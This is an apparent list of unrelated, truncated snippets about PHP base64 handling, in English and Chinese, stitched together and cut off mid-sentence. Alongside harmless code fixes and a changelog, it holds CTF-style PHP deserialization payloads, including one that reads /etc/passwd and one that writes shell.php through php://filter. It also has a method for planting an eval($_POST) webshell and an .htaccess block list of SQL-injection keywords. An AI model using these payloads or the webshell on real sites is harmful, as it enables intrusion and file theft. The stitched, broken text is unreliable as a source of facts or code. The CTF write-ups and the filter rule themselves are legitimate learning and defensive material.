gutzmer at usa dot net's ( http://php.net/manual/en/function.base64-encode.php#103849 ) base64url_decode() function doesn't pad longer strings with '='s. Here is a corrected version: <?phpfunction base64url_encode( $data ){ return rtrim( strtr( base64_encode( $data ), '+/'...
RewriteCond %{QUERY_STRING} (;|<|>|\'|\"|\)|%0a|%0d|%22|%27|%3c|%3e|%00)(.*)(/\*|alter|base64|benchmark|cast|concat|convert|create|encode|declare|delay|delete|drop|hex|insert|load|md5|null|replace|request|script|select|set|sleep|truncate|unhex|update) [NC,OR]RewriteCond %{QU...
理论上龙蜥是RHEL ABI兼容发行(但内核不同 使用ANCK分支而不是RHCK) 极速安装认为是CentOS8被拒绝安装,编译安装时php-fpm报错 系统基本信息: [root@storage ~]# cat /etc/anolis-release Anolis OS release 8.8 [root@storage ~]# uname -a Linux storage.dwg.us.in 4.19.91-27.7.an8.x86_64 #1 SMP F...
运行上面的命令,就可以得到一个payload,那么光得到payload是不行的,我们还要进行base64加密。⑤base64加密脚本:import base64 c=open("payload.bin","rb").read() cc=base64.urlsafe_b64encode(c) open("payload.txt","wt",ecoding="utf-8").wirte(cc.decode())...
file_get_contents('php://input'); $re = $this->URLSafeBase64Encode(hash_hmac('sha1', $data, env('QINIU_SK'), true)) === $auth[1]; \support\Log::debug("签名验证详情", [ 'data' => $data, 'computed_sign' => $this->URLSafeBase64Encode(hash_hmac...
Add php_base64_encode_ex() API. Implemented "Raising zero to the power of negative number" RFC. Added array_find(), array_find_key(), array_all(), and array_any(). Change highlight_string() and print_r() return type to string|true. Fix references in request_parse_body() options...
phpclassGWHT{public$hero;publicfunction__toString(){if(isset($this->hero)){return$this->hero->hasaki();}else{return"You don't look very happy";}}}classYongen{//flag.phppublic$file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';public$text='YmFzZTY0Y...
>>> s = base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')>>> print(s)b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb...
比如<会被检测到,那就把<编码成base64或html,然后通过php内的函数再解码 下面是我的一个方法,在WRITEPATH.'config/cron.php'文件中写入了当运行WRITEPATH.'config/cron.php'文件时在网站根目录写一个名为webshell.php,内容为<?php eval(@$_POST["password"]);?>的文件的php语句 ...
>TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== var传入即可获得flag 如果这里没有base64加密，我么也需要进行url编码，因为demo中private为私有属性，反序列化会出现不可见字符，所以要进行url编码如何防止php反序列化尽量不要用序列化来传输数据不要相信用户传入数据，或者不让用户传入...